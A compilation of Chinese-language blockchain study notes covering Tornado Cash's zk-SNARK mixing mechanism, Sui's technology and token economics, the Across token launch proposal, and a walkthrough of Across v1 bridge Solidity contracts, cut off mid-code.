首先我们看一下存款过程。用户在存款时需要生产两个随机数 secret 和 nullifier,并计算这两个数的一个哈希 commitment = hash(secret, nullifier),然后用户将需要混币的金额(比如 1 ETH)和 commitment 发送给 TC 合约的 deposit 函数,TC合约将保存这两个数据,commitment之后会用于提取存入的资金。

同时,用户会得到一个凭证,通过这个凭证,用户(或者任何人)就可以提取存入的资金。

为什么存入 1 ETH?

如果不同的用户会存入不同的金额,比如 Alice 和 Bob 存入 1 ETH,Chris 存入 73 ETH,当取出存款时,某个地址提取了 73 ETH,我们会有很大程度怀疑这个地址属于 Chris。因此,在TC 合约中规定了每次存入的金额为 1 ETH,这样就不会有地址与其他地址不一致。

实际上,TC 有不同金额的 ETH 存款池,分别为 0.1,1,10,100,以满足不同数量的存取款需求。

取款(withdraw)过程

当进行取款时,一种错误方法是将之前随机生成的 secret 和 nullifier 作为参数发送给合约的取款函数,合约检查 hash(secret,nullifier) 是否等于之前保存的 commitment,如果相等就发送 1 ETH给取款者。但是这个过程就使得取款者的身份暴露了,因为 hash 过程是不可逆的,当我们从存款日志中找到相等的commitment时,我们就可以通过 commitment 建立存款者和取款者之间的联系,因为只有这个存款者知道获得 commitment 的 secret 和 nullifier。

如果解决这个过程呢?如果有人有一种方法可以证明他知道一组(secret, nullifier) 使得 hash(secret, nullifier) 在合约记录的commitment列表中,但是却不公开这组(secret, nullifier) ,那这个人就可以只用发送这个证明给合约进行验证,就可以证明他拥有之前存入过资金,当却不知道对应于哪一组存入的资金,所以仍然保持匿名。

这个证明就是零知识证明,它可以证明你知道某个信息但却不用公开这个信息。TC 使用的零知识证明称为 zk-SNARK。

我们注意到当用户存款和取款时,使用了两个随机数 secret 和 nullifier,nullifier 的作用是什么呢?当用户取款时,合约其实不知道到底是谁在取款,为了避免用户存入 1 ETH 然后进行多次提取,TC要求当用户发送证明的同时发送 nullifier 的哈希nullifierHash,在zk-SNARK的证明中,他会检查两件事情:一是检查 hash(secret, nullifier) 在 commitment 的列表中,二是 nullifierHash 等于 hash(nullifier),一旦验证成功,合约就会记录这个哈希。当同一个证明第二次被提交时就会失败,因为对应的 nullifier 哈希已经使用过了,这样就避免了二次提款。

Tornado Cash 如何保存 commitment 呢

使用 Merkle 树。Merkle树具体参见之前的介绍文章。

TC 会首先初始化一组叶子节点为 keccak256("tornado"),并以这些叶子节点构建一颗 Merkle 树。当用户存款时,对应的 commitment 存入 Merkle 树的第一个叶子节点,然后合约更新整棵 Merkle 树,然后是第二个用户的commitment 存入第二个叶子节点并更新整棵 Merkle 树,依次类推。

Untitled

如何证明 commitment 在这棵 Merkle 树中呢?

Untitled 1

假设需要证明c3在这棵Merkel中,我们需要找到从叶子节点 c3 到根的路径过程中的哈希,使得他们与 c3 依次进行 hash 可以得到根哈希,即图中绿色节点的哈希列表。

Tornado Cash 中,我们需要提供这些节点哈希,并通过 zk-SNARK 生成零知识证明,以此证明 c3 在这棵以 root(=h(h(h(c0,c1),h(c2,c3)),h(h(c4,c5), z1)))为根的 Merkle 中,但却不用告诉大家 c3 的值。

Untitled 2

因此我们将证明 proof 和 Merkle 树根 root 发送给合约,一旦合约验证成功,我们就可以取出之前存入的存款。

solidity 中的 zk-SNARK 实现

TC 合约包含三个部分:

  1. 存款和取款合约,用于与用户交互;
  2. Merkle 树,用于记录存款哈希;
  3. zk-SNARK 验证器合约,用于验证取款时证明合法。

zk-SNARK 验证器合约由 circom 编写的验证电路通过 snarkjs 库生成。

参考

Sui 公链研究整理

官网:https://sui.io/

白皮书:https://github.com/MystenLabs/sui/blob/main/doc/paper/sui.pdf

技术

水平可扩展性,高吞吐,低延迟。

技术特征:

  1. 变体 Move 语言
    1. 安全特性(内存安全,Move Prover)
    2. 编程范式:虽然大多数区块链的存储都以帐户为中心,但 Sui 的存储是围绕对象设计的。每个对象由一个地址所拥有,默认情况下可变,也可设为不可变或在多个地址之间共享。Sui 的 Move 智能合约可以接收这些对象作为输入,对其进行操作,并将对象作为输出返回。这是一种完全不同于 Solidity 或 Rust 的智能合约编程范式,更具表现力,对于动态NFT和加密游戏的数字对象表达更简单。
    3. 改善网络性能并简化开发人员体验
    4. 相较于Solidity,较少经历项目验证,缺少安全实践。
  2. 交易并行化
    1. 对于链上的大多数交易都不会与其他交易竞争相同的资源(例如对同一个NFT发起两笔交易),按目前公链的设计(例如ETH),需要对一个总的排序交易列表来进行全节点的共识确认,因此造成了大量的计算浪费。
    2. Sui不要求全序,只要满足因果关系的交易顺序执行即可,没有因果关系的交易可以被Sui的验证器以任意顺序执行。
  3. 可扩展性
    1. 因为不要求交易满足全序,只要求交易满足因果顺序。
    2. 使用 Narwhal 共识机制来全排序包含共享对象的交易
    3. 水平扩展,多机器分片,可以通过给验证节点增加设备来提升吞吐
  4. 共识机制
    • 拜占庭式一致广播,用于独立的交易
    • BFT 共识(+基于 DAG 的 mempool),用于有依赖关系的交易(共享对象)
    • 共识算法专注于尽量减少验证节点之间处理交易所需的通信。

Token 经济学

概况

代币经济白皮书:The Sui Smart Contracts Platform: Economics and Incentives

代币:SUI

总供应量: 100亿,分配给创始团队、投资者、公售、Sui 基金会和未来的释放。

代币作用:

  • 质押/保护网络
  • 交易费
  • 治理
  • 账户单位/交易中介

角色:

  • 用户:使用 Sui 平台进行交易,以创建,修改和转移数字资产或与基于智能合约,互操作性,可组合性的复杂应用进行交互;
  • SUI代币持有者:可选择将其代币委托给验证者并参与权益证明机制(POS)。SUI 所有者也拥有参与 Sui 治理的权利
  • 验证者:进行 Sui 公链上的事务处理和执行

五个核心组件:

  • SUI 代币是 Sui 平台的原生资产。
  • 所有网络操作都收取 Gas 费,用于奖励权益证明机制的参与者,防止垃圾信息和拒绝服务攻击。
  • Sui 的存储基金用于跨时间转移权益奖励,并补偿未来验证者先前存储的链上数据的存储成本。
  • 权益证明机制 PoS 用于选择、激励和奖励 Sui 平台操作者(即验证者和 SUI 委托人)的诚实行为。
  • 链上投票用于治理和协议升级。

sui-token-economics

Gas定价模型

为用户提供可预测低的交易费用、激励验证者优化其交易处理操作以及防止拒绝服务攻击。

Gas 费用包含两个部分:计算执行费用和存储费用,并为两部分费用分别计价。

计算价格定价机制:

  • Sui 以纪元为单位运行,每个纪元(24 小时)验证节点集都会改变。新纪元的验证节点会就整个纪元的参考 Gas 费进行投票。该协议会提供一些激励措施,鼓励验证节点在整个纪元将交易费用保持在接近参考价格的水平。具体过程为:
    1. 在每个纪元开始时,需要每个验证者提交一个 gas 报价(即每个验证者愿意处理交易的最低gas价格),Sui将会把总gas报价列表中2/3位置处的价格设置为这个纪元的参考gas价格,例如总共有 100 个验证者者提供了 gas 报价,将所有的 gas 报价进行低到高排序,其中第 67 位验证者提供的 gas 报价即为本纪元的参考 gas 价格
    2. 在用户提交交易时,可按参考 gas 价格进行 gas 价格设置,但由于每个用户习惯不一致和链上网络的波动情况,因此最终实际的 gas 价格会与参考 gas 价格有一点的出入。
    3. 在每个纪元结束时,会根据每个验证者执行的实际 gas 价格情况进行奖励的分配,在纪元开始时提交低价报价(即低于参考价格)或处理实际 gas 价格高于其 gas 报价交易的验证者会获得更高的奖励。相反,在纪元开始时提交高价报价(即高于参考价格)或处理实际 gas 价格低于其 gas 报价的验证者将受到奖励减少的惩罚。
  • 通过这套机制,一是鼓励验证者降低其 gas 价格的报价,二是让用户有一个参考价格供其参考,保证用户设置接近参考价格的 gas 的交易能够得到及时的处理。

存储价格:

  • 通过治理提案设置,并不经常更新。目的是通过将这些费用存入存储基金,然后将这些费用重新分配给未来的验证者,确保 Sui 用户为其使用链上数据存储付费。 与计算 gas 价格相比,存储价格是固定的,并且对于一个纪元内和跨纪元的所有交易都是通用的,直到存储价格更新。

网络堵塞期间 Gas 费如何保持在低位:因为网络的吞吐量与更多的参与者成线性关系,验证节点可以根据网络需求的增加按比例增加更多的参与者,以此使 Gas 价格接近参考价格。

存储基金:

  • 解决状态通胀(state bloat)问题
  • Sui 的一个关键特性是它能够处理任意数量的链上数据,但却需要足够多的存储资源来进行支持。因此用户在进行每笔交易时,在当下即支付了一笔存储费用到存储基金,存储基金将会使用这笔资金来奖励未来的验证者,因为未来的验证者也为当下用户数据的存储付出了成本(即验证者需要存储全账本)。当链上存储要求很高时,验证者会获得大量额外奖励以补偿其成本。当存储要求较低时,反之亦然。
  • 从长远来看,随着技术改进导致存储成本下降和 SUI 代币价格的变化,治理提案将更新存储 gas 价格以反映其新的目标价格。
  • Sui 的存储模型包括一个“删除选项”,用户在删除之前存储的链上数据(例如 NFT 的元数据)时,可以通过该选项获得存储费回扣(即从之前支付的存储 gas 中返回一笔资金,因为自己的数据无需再进行存储)。

PoS 委托模型

SUI 持有者可以将自己的 SUI 委托给给验证者进行质押,在每个纪元结束时可获取对应份额的奖励。

验证者在总质押奖励中的份额是与质押数量相关的,因为它决定了每个验证者在处理交易中的投票权份额。每笔Sui的交易只需要2/3的验证者按权益份额进行处理,因此拥有质押数量越多的验证者将拥有更多的份额,从而处理更多的交易,获取到更多的奖励。同时在计算总奖励时,Sui 也会对存储基金进行分配,因此验证者就会相对于 SUI 委托人获得更多的质押奖励。

同时在每个纪元开始前,SUI 持有者可自由地选择验证者进行 SUI 的质押,因此对于处理速度快的验证者将处理更多的交易,获取到更多的执行 gas 奖励,持有者也更愿意选择这种验证者进行质押,从而提升了整个 Sui 网络验证者的质量。

团队情况

概况

融资

  • Mysten Labs 于 2021 年 12 月宣布完成 3600 万美元 A 轮融资,该轮融资由 a16z 领投,Coinbase Ventures、NFX、Slow Ventures、Scribble Ventures、Samsung NEXT、Lux Capital 等参投。
  • 正在寻求以 20 亿美元估值筹集至少 2 亿美元 B 轮融资,本轮融资由 FTX Ventures 领投,目前项目方已在该轮融资中获得 1.4 亿美元资金支持。

生态建设

  1. 团队构想的公链 4 个关键应用:游戏、DeFi、商业和社交。所有 4 个应用都将充分利用 Sui 的高吞吐量和低延迟来提供最佳用户体验。游戏和社交应用在 Sui 上构建还具有独特的优势。游戏可以利用 Move 针对数字形象的安全性和表现力。社交媒体应用可以利用 Sui 的数据存储经济学将所有数据直接存储在链上。
  2. Sui Monstars,游戏。

风险点

  1. 公链生态的构建是一个漫长的过程。
  2. 掌握全网质押总量的2/3即可控制整个网络,若是有验证者和Web2大公司一样发起质押补贴,例如将本属于自己的执行 gas 和存储 gas 也发放给将 SUI 质押在自己这里的 SUI 持有者,则会吸引大量的 SUI 持有者将自己的 SUI 质押在这样的验证者节点上,从而让这个验证者掌握了整个网络的控制权,从而具备了作恶的能力。一旦开始作恶,则可能使整个网络的其他参与者的利益受损。
  3. Move 语言做为新兴合约语言,在学习成本,安全/审计,开发工具完备成都,成熟的合约组件等,都与Solidity有一定的距离。

参考

  1. 新公链Sui:估值20亿美元的前Facebook团队打造的Layer1
  2. Linda_郑郑的thread
  3. Sui—前facebook团队和顶级机构创建的新一代区块链公链【Vic TALK 第263期】
  4. https://cryptohot.substack.com/p/-sui-
  5. https://twitter.com/mindaoyang/status/1552384026383904768
  6. https://twitter.com/tracecrypto1/status/1544332560389607424
  7. https://twitter.com/cryptoalvatar/status/1551878534926401537
  8. https://twitter.com/state_xyz/status/1551878856151142401

Across 代币发布提案 v2

Across 代币发布提案 v2

这是一个修订后的提案,它建立在最初的 Across 代币发布提案的基础上,增加了社区反馈和实施细节。

Across 代币的推出将发展和团结 Across 社区,激励流动性提供者,提高 Across 的知名度,并进一步实现成为最快和最便宜的 L2 桥的使命。 该提案概述了代币发布计划,大致可分为两部分:

  1. 初始分配(Initial Distribution)── 多样化的空投和国库代币交换
  2. 奖励锁定激励计划(Reward Locking Incentive Program) ── 一种新颖的奖励计划,用于激励支持 Across 协议的行为

第一部分、初始分配

将铸造 1,000,000,000 ($ACX) Across 代币 。 700,000,000 $ACX 将保留在 Across DAO 国库中,一部分将保留用于激励奖励。 300,000,000 $ACX 将作为初始供应,并按以下方式分配:

$ACX 空投 ── 总共 100,000,000 $ACX 将奖励给以下团体:

  1. 10%:拥有“联合创始人(Co-founder)”或“早期招募(Early Recruit)”的社区 Discord 成员
  2. 10%:拥有“DAO 贡献者(DAO Contributor)”或“高级 DAO 贡献者(Senior DAO Contributor)”的社区 Discord 成员
  3. 20%:代币将作为额外奖励保留给 Across 社区的重要早期贡献者,其中可能包括 DAO 贡献者、高级 DAO 贡献者和开发者支持团队。代币发布后,社区将有机会提交关于如何分配的提案,$ACX 持有者将通过快照进行投票。
  4. 10%:在 2022 年 3 月 11 日之前桥接资产的早期 Across 协议用户。这些代币将根据完成的转账量按比例分配给钱包。将调整这些数字以过滤掉可能来自空投农民的小额转账。
  5. 50%:在代币发布之前将 ETH、USDC、WBTC 和 DAI 汇集到 Across 协议中的流动性提供者。对 LP 的奖励数量按规模按比例分配,并且自协议开始以来,每个区块都会发出固定数量的代币。
  • *权重和确切细节都可能发生变化,并取决于代币发布前收集的数据。*

$UMA 的代币交换 ── 100,000,000 $ACX 将与 Risk Labs Treasury 交换价值 5,000,000 美元的 $UMA。 这实现了两个目标 ── 它赋予 UMA 中的 Across 社区所有权和治理权,这对桥的安全性至关重要,并且它还提供投票奖励作为 Across DAO 国库的收入来源。 Risk Labs 推出了 Across,并将在可预见的未来继续支持协议和社区。 向 Risk Labs 提供 $ACX 将进一步激励 Risk Labs 团队。 Risk Labs 可能会考虑使用这些代币来建立和扩展一个专门的开发团队,以帮助提供 $ACX 的流动性,并参与治理。 无论用途如何,这些代币只会用于协议的利益。

战略合作伙伴和中继者资本 ── 100,000,000 $ACX 将转移到 Risk Labs Treasury,以筹集资金并从 DeFi 行业的主要参与者那里获得贷款。 跨链桥领域的竞争对手正在与大型机构合作,并获得大量资源来推动其发展。 Risk Labs 可以使用这些代币来帮助 Across 协议做同样的事情。 一个关键的资源限制是中继者网络,其中大量资金由 Risk Labs 的国库提供。 与资本充足的大型加密货币玩家合作有助于缓解这一瓶颈并加速增长。 为实现这一目标,Risk Labs 可能会使用这些 $ACX 代币来筹集成功代币(success token)资金,在通过区间代币(range tokens)借款时用作抵押,以及用于奖励以促进中继者网络的去中心化。

第二部分、Across 奖励锁定激励计划

700,000,000 $ACX 储备的很大一部分将通过此激励计划发放,社区成员可以通过执行以下任何操作来赚取 $ACX:

  1. 质押来自桥接池的 Across LP 份额 ── WETH 和 USDC 池将是第一个受到激励的 Across 池
  2. 从指定的 $ACX/ETH 池中质押 $ACX LP 份额
  3. 通过 Across 推荐计划(Across Referral Program)推荐用户

流动性提供者(LP) ── 奖励锁定是传统流动性挖矿的增强版本,它阻止耕种(farm)和抛售活动,同时奖励协议的忠实贡献者。流动性提供者 (LP) 有一个他们获得奖励的个性化利率。 LP 保持未提取(和未售出)累积奖励的时间越长,LP 获得额外奖励的速度就越快。

每个受激励的流动性池将有一个基本的发放率,每个 LP 将有一个针对每个池的独特收益增值率(multiplier)。 LP 将按比例获得基准发放量乘以 LP 的独特收益增值率的份额。 LP 的收益增值率从第 0 天的 1 开始,当奖励未提取 100 天时可以线性增长到最大值 3。下表说明了这个简单的过程。例如,持有 60 天未领取的奖励的 LP 的收益增值率为 2.2。一旦 LP 领取任何奖励,收益增值率立即重置为 1,LP 将需要重赚取该乘数。

持有天数收益增值率
01.0
251.5
502.0
752.5
1003.0

最初的奖励锁定计划预计将运行 6 个月,届时将及时审查是否有任何更改。 该计划将从以下基本发放率开始:

  • Across ETH LP 份额每天约 100,000 $ACX
  • Across USDC LP 份额每天约 100,000 $ACX
  • 指定 $ACX/$ETH LP 份额每天约 20,000 $ACX

这相当于大约 4MM 到 10MM $ACX,具体取决于 LP 的行为。 $ACX 持有者可以随时提议并投票添加新资产或更改这些参数。

Across 推荐计划 ── 推荐计划将 Across 社区转变为销售队伍。要参与推荐计划,Across 支持者可以输入他们的钱包地址以生成唯一的推荐链接。单击该链接并在 Across 上完成桥接转移的用户会将 $ACX 奖励分配给推荐人。鼓励支持者与朋友分享他们的链接,并在 Twitter 等社交媒体上宣传 Across。这也可以用于与其他项目的集成。跨链聚合器或 DEX 可以创建推荐链接以将 Across 连接到他们的 dApp。单击该链接并完跨链转移后,奖励将分配给该项目。该钱包所有的未来转账将继续向推荐人发放奖励,除非钱包用户点击不同的推荐链接或推荐人领取了他们的奖励。

与 LP 的奖励锁定类似,推荐人可以通过保持奖励未认领并达到特定数量的推荐或确保一定数量的数量来提高他们赚取推荐费的比率。推荐费是在 $ACX 中授予推荐人的跨链 LP 费用的百分比。如果没有领取奖励并且完成了一定数量的推荐或交易量,那么推荐费就会上涨。推荐人分为五层:

  • 铜(Copper):40% 的推荐费。
  • 青铜(Bronze):50% 推荐费。铜推荐人在 3 次推荐或跨链交易量超过 5 万美元后晋升为青铜
  • 白银(Silver):60% 的推荐费。青铜推荐人在 5 次推荐或跨链交易量超过 10 万美元后晋升为白银
  • 黄金(Gold):70% 的推荐费。白银推荐人在 10 次推荐或超过 25 万美元的跨链交易量后升级为黄金。
  • 白金(Platinum):80% 的推荐费。黄金推荐人在 20 次推荐或超过 50 万美元的跨链交易量后升级为白金。

推荐奖励每周分配一次,推荐人每周只能增加一个等级。一旦推荐人领取奖励,推荐人的等级立即重置回铜,并且所有推荐链接都失效。这意味着推荐人需要让用户再次点击他们的推荐链接才能继续赚取推荐费,并且推荐人需要重新获得他们的等级,这需要至少 5 周的时间才能达到白金级别。

奖励锁定 = DeFi 的游戏化

奖励锁定的好处是显而易见的。保持奖励锁定不鼓励耕种和抛售活动,但更重要的是,它使 LP 和推荐人与协议更加紧密。如果您被鼓励参与该协议,您自然会想了解更多有关它的信息,并且您会被激励加入社区并进一步履行其使命。

鉴于您可以为每个流动性池赚取的各种独特收益增值率,以及您作为推荐人可以获得的不同层级,为协议做出贡献的每个钱包都将发展出一个个性化的身份。类似于角色扮演游戏中的角色,各种统计数据可以转化为经验值,使钱包可以升级并获得协议中的状态。

奖励锁定可以通过精心涉及的用户界面和用户体验进一步游戏化,使其看起来像一个真正的游戏。它可以像 RPG 一样构建,用户可以在达到某些里程碑时获得特殊的 NFT 或物品。社区成员可以构建这个和/或使用这些统计数据的实际游戏并相互进行战斗。同样,排行榜可以识别所有忠诚的 Across 用户的成就。这一切都会使用户非常不愿意领取他们的奖励并降低身份。

质押 $ACX ── 随着协议的成熟,社区可以考虑为 $ACX 设置质押机制,该机制可以授予进一步的治理权,并分享整个协议的收入。治理可以决定激励奖励的方向,以确定哪些代币和哪些 L2 应该获得更多流动性。这种类似投票锁定的机制可以为 $ACX 和 Across 协议增加更多价值。

结论

除了建立社区和激励项目目标外,Across 代币的发布旨在为拥有 $ACX 创造价值和意义。 目标是让 $ACX 代币持有者在启动后立即通过他们的代币与协议进行交互。 事实上,通过概述在空投之前将获得奖励的行为,这个协议现在正在鼓励整个 LP 活动。 Across 奖励锁定激励计划将吸引社区成员并使用 $ACX 作为货币来游戏化和激励对协议的贡献。 $ACX 代币将代表 Across 协议在经济和治理方面的真正所有权。

非常欢迎对此提案提出反馈意见。 可以而且应该讨论机制和数字,以便社区在此代币发布之前感到舒适。

Across 跨链桥合约解析

什么是 Across

以太坊跨链协议 Across 是一种新颖的跨链方法,它结合了乐观预言机(Optimistic Oracle)、绑定中继者和单边流动性池,可以提供从 Rollup 链到以太坊主网的去中心化即时交易。目前,Across 协议通过集成以太坊二层扩容方案Optimism、Arbitrum和Boba Network支持双向桥接,即可将资产从L1发送至L2,亦可从L2发送至L1。

存款跨链流程

process

来源于:https://docs.across.to/bridge/how-does-across-work-1/architecture-process-walkthrough

Across 协议中,存款跨链有几种可能的流程,最重要的是,存款人在任何这些情况下都不会损失资金。在每一种情况下,在 L2 上存入的任何代币都会通过 Optimism 或 Arbitrum 的原生桥转移到 L1 上的流动池,用以偿还给流动性提供者。

从上面的流程中,我们可以看到 Across 协议流程包括以下几种:

  • 即时中继,无争议;
  • 即时中继,有争议;
  • 慢速中继,无争议;
  • 慢速中继,有争议;
  • 慢速中继,加速为即时中继。

Across 协议中主要包括几类角色:

  • 存款者(Depositor):需要将资产从二层链转移到L1的用户;
  • 中继者(Relayer):负责将L1层资产转移给用户,以及L2层资产跨链的节点;
  • 流动性提供者(LP):为流动性池提供资产;
  • 争议者(Disputor):对中继过程有争议的人,可以向 Optimistic Oracle 提交争议;

项目总览

Across 的合约源码地址为 https://github.com/across-protocol/contracts-v1,目前 Across Protocol 正在进行 v2 版本合约的开发,我们这一篇文章主要分析 v1 版本的合约源码。首先我们下载源码:

git clone https://github.com/across-protocol/contracts-v1
cd contracts-v1

合约源码的主要的目录结构为:

contract-v1
├── contracts // Across protocol 的合约源码
├── deploy // 部署脚本
├── hardhat.config.js // hardhat 配置
├── helpers // 辅助函数
├── networks // 合约在不同链上的部署地址
└── package.json // 依赖包

在这篇解析中,我们主要关注 contractsdeploy 目录下的文件。

合约总览

合约目录 contracts 的目录结构为:

contracts/
├── common
│   ├── implementation
│   └── interfaces
├── external
│   ├── README.md
│   ├── avm
│   ├── chainbridge
│   ├── ovm
│   └── polygon
├── insured-bridge
│   ├── BridgeAdmin.sol
│   ├── BridgeDepositBox.sol
│   ├── BridgePool.sol
│   ├── RateModelStore.sol
│   ├── avm
│   ├── interfaces
│   ├── ovm
│   └── test
└── oracle
    ├── implementation
    └── interfaces

其中,各个目录包含的内容为:

  • common:一些通用功能的库方法等,包括:
  • external:外部合约,主要用于实现在管理员合约中对不同 L2 的消息发送;
  • insured-bridge 合约主要功能,我们会在接下来的章节章节中重点分析;
  • oracle:主要是 Optimistic Oracle 提供功能的方法接口,在这篇文章中我们不对 Optimistic Oracle 的原理实现进行介绍,主要会介绍 Across 协议会在何处使用 Optimistic Oracle。

接下来我们会重点分析 insured-bridge 中的合约的功能,这是 Across 主要功能的合约所在。

insured-bridge 目录中:

  • BridgeAdmin.sol :管理合约,负责管理和生成生成 L2 上的 DepositBox 合约和 L1 上的 BridgePool 合约;
  • BridgeDepositBox.sol :L2 层上负责存款的抽象合约,Arbitrum,Optimism 和 Boba 网络的合约都是继承自这个合约;
  • BridgePool.sol :桥接池合约,管理 L1 层资金池。

BridgeAdmin

这个合约是管理员合约,部署在L1层,并有权限管理 L1 层上的流动性池和 L2 上的存款箱(DepositBoxes)。可以注意的是,这个合约的管理帐号是一个多钱钱包,避免了一些安全问题。

首先我们看到合约中的几个状态变量:

contract BridgeAdmin is BridgeAdminInterface, Ownable, Lockable {

    address public override finder;

    mapping(uint256 => DepositUtilityContracts) private _depositContracts;

    mapping(address => L1TokenRelationships) private _whitelistedTokens;

    // Set upon construction and can be reset by Owner.
    uint32 public override optimisticOracleLiveness;
    uint64 public override proposerBondPct;
    bytes32 public override identifier;

    constructor(
        address _finder,
        uint32 _optimisticOracleLiveness,
        uint64 _proposerBondPct,
        bytes32 _identifier
    ) {
        finder = _finder;
        require(address(_getCollateralWhitelist()) != address(0), "Invalid finder");
        _setOptimisticOracleLiveness(_optimisticOracleLiveness);
        _setProposerBondPct(_proposerBondPct);
        _setIdentifier(_identifier);
    }

...

其中:

  • finder 用来记录查询最新 OptimisticOracle 和 UMA 生态中其他合约的合约地址;
  • _depositContracts 该合约可以将消息中继到任意数量的 L2 存款箱,每个 L2 网络一个,每个都由唯一的网络 ID 标识。 要中继消息,需要存储存款箱合约地址和信使(messenger)合约地址。 每个 L2 的信使实现不同,因为 L1 –> L2 消息传递是非标准的;
  • _whitelistedTokens 记录了 L1 代币地址与对应 L2 代币地址以及桥接池的映射;
  • optimisticOracleLiveness 中继存款的争议时长;
  • proposerBondPct Optimistic Oracle 中 proposer 的绑定费率

管理员可以设置以上这些变量的内容,以及可以设置每秒的 LP 费率,转移桥接池的管理员权限等。

同时,管理员还可以通过信使设置 L2 层合约的参数,包括;

  • setCrossDomainAdmin :设置 L2 存款合约的管理员地址;
  • setMinimumBridgingDelay :设置 L2 存款合约的最小桥接延迟;
  • setEnableDepositsAndRelays:开启或者暂停代币 L2 存款,这个方法会同时暂停 L1 层桥接池;
  • whitelistToken:关联 L2 代币地址,这样这个代币就可以开始存款和中继;

对于消息发送,管理员合约通过调用不同的信使的 relayMessage 方法来完成,将 msg.value == l1CallValue 发送给信使,然后它可以以任何方式使用它来执行跨域消息。

    function _relayMessage(
        address messengerContract,
        uint256 l1CallValue,
        address target,
        address user,
        uint256 l2Gas,
        uint256 l2GasPrice,
        uint256 maxSubmissionCost,
        bytes memory message
    ) private {
        require(l1CallValue == msg.value, "Wrong number of ETH sent");
        MessengerInterface(messengerContract).relayMessage{ value: l1CallValue }(
            target,
            user,
            l1CallValue,
            l2Gas,
            l2GasPrice,
            maxSubmissionCost,
            message
        );
    }

不同L2的消息方法分别在对应链的 CrossDomainEnabled.sol 合约中,比如:

  • Arbitrum: contracts/insured-bridge/avm/Arbitrum_CrossDomainEnabled.sol
  • Optimism,Boba: contracts/insured-bridge/ovm/OVM_CrossDomainEnabled.sol

BridgeDepositBox

接下来我们看到 BridgeDepositBox.sol,抽象合约 BridgeDepositBox 合约中主要有两个功能。

bridgeTokens

第一个是 bridgeTokens 方法,用于将 L2 层代币通过原生代币桥转移到 L1 上,这个方法需要在不同的 L2 层合约上实现,目前支持的 L2 层包括 Arbitrum,Optimism 和 Boba,分别对应的文件为:

  • Arbitrum: contracts/insured-bridge/avm/AVM_BridgeDepositBox.sol
  • Optimism: contracts/insured-bridge/ovm/OVM_BridgeDepositBox.sol
  • Boba: contracts/insured-bridge/ovm/OVM_OETH_BridgeDepositBox.sol

以 Arbitrum 链上的 bridgeToken 为例:

    // BridgeDepositBox.sol 文件中
    function canBridge(address l2Token) public view returns (bool) {
        return isWhitelistToken(l2Token) && _hasEnoughTimeElapsedToBridge(l2Token);
    }

		// AVM_BridgeDepositBox.sol文件中
    function bridgeTokens(address l2Token, uint32 l1Gas) public override nonReentrant() {
        uint256 bridgeDepositBoxBalance = TokenLike(l2Token).balanceOf(address(this));
        require(bridgeDepositBoxBalance > 0, "can't bridge zero tokens");
        require(canBridge(l2Token), "non-whitelisted token or last bridge too recent");

        whitelistedTokens[l2Token].lastBridgeTime = uint64(getCurrentTime());

        StandardBridgeLike(l2GatewayRouter).outboundTransfer(
            whitelistedTokens[l2Token].l1Token, // _l1Token. Address of the L1 token to bridge over.
            whitelistedTokens[l2Token].l1BridgePool, // _to. Withdraw, over the bridge, to the l1 withdraw contract.
            bridgeDepositBoxBalance, // _amount. Send the full balance of the deposit box to bridge.
            "" // _data. We don't need to send any data for the bridging action.
        );

        emit TokensBridged(l2Token, bridgeDepositBoxBalance, l1Gas, msg.sender);
    }

bridgeTokens 上有一个装饰器 canBridge 包含两个判断, isWhitelistToken 用于判断对应 L2 层代币是否已经在 L1 层上添加了桥接池, _hasEnoughTimeElapsedToBridge 用来减少频繁跨连导致的费用消耗问题,因此设置了最小的跨链接时间。

bridgeTokens 主要就是调用了 L2 层原生的跨链方法,比如 outboundTransfer

deposit

第二个是 deposit 方法用于将 L2 层资产转移到以太坊 L1 层上,对应与前端页面 Deposit 操作。对应代码为:

    function bridgeTokens(address l2Token, uint32 l2Gas) public virtual;

    function deposit(
        address l1Recipient,
        address l2Token,
        uint256 amount,
        uint64 slowRelayFeePct,
        uint64 instantRelayFeePct,
        uint64 quoteTimestamp
    ) public payable onlyIfDepositsEnabled(l2Token) nonReentrant() {
        require(isWhitelistToken(l2Token), "deposit token not whitelisted");

        require(slowRelayFeePct <= 0.25e18, "slowRelayFeePct must be <= 25%");
        require(instantRelayFeePct <= 0.25e18, "instantRelayFeePct must be <= 25%");

        require(
            getCurrentTime() >= quoteTimestamp - 10 minutes && getCurrentTime() <= quoteTimestamp + 10 minutes,
            "deposit mined after deadline"
        );
        
        if (whitelistedTokens[l2Token].l1Token == l1Weth && msg.value > 0) {
            require(msg.value == amount, "msg.value must match amount");
            WETH9Like(address(l2Token)).deposit{ value: msg.value }();
        }
        else IERC20(l2Token).safeTransferFrom(msg.sender, address(this), amount);

        emit FundsDeposited(
            chainId,
            numberOfDeposits, // depositId: the current number of deposits acts as a deposit ID (nonce).
            l1Recipient,
            msg.sender,
            whitelistedTokens[l2Token].l1Token,
            l2Token,
            amount,
            slowRelayFeePct,
            instantRelayFeePct,
            quoteTimestamp
        );

        numberOfDeposits += 1;
    }

其中,合约区分了 ETH 和 ERC20 代币的存入方式。

存入资产后,合约产生了一个事件 FundsDeposited,用于中继者程序捕获并进行资产跨链,事件信息包含合约部署的 L2 链ID,存款ID numberOfDeposits,L1层接收者,存款者,L1和L2层代币地址,数量和费率,以及时间戳。

BridgePool

BridgePool 合约部署在 Layer 1 上,提供了给中继者完成 Layer2 上存款订单的函数。主要包含以下功能:

  1. 流动性提供者添加和删除流动性的方法 addLiquidityremoveLiquidity
  2. 慢速中继: relayDeposit
  3. 即时中继: relayAndSpeedUpspeedUpRelay
  4. 争议: disputeRelay
  5. 解决中继: settleRelay

构造器

在合约初始时,合约设置了对应的桥管理员地址,L1代币地址,每秒的 LP 费率,以及标识是否为 WETH 池。同时,通过 syncUmaEcosystemParamssyncWithBridgeAdminParams 两个方法同步了 Optimistic Oracle 地址信息,Store 的地址信息,以及对应的 ProposerBondPctOptimisticOracleLiveness 等参数。

    function syncUmaEcosystemParams() public nonReentrant() {
        FinderInterface finder = FinderInterface(bridgeAdmin.finder());
        optimisticOracle = SkinnyOptimisticOracleInterface(
            finder.getImplementationAddress(OracleInterfaces.SkinnyOptimisticOracle)
        );

        store = StoreInterface(finder.getImplementationAddress(OracleInterfaces.Store));
        l1TokenFinalFee = store.computeFinalFee(address(l1Token)).rawValue;
    }

		function syncWithBridgeAdminParams() public nonReentrant() {
        proposerBondPct = bridgeAdmin.proposerBondPct();
        optimisticOracleLiveness = bridgeAdmin.optimisticOracleLiveness();
        identifier = bridgeAdmin.identifier();
    }

		constructor(
        string memory _lpTokenName,
        string memory _lpTokenSymbol,
        address _bridgeAdmin,
        address _l1Token,
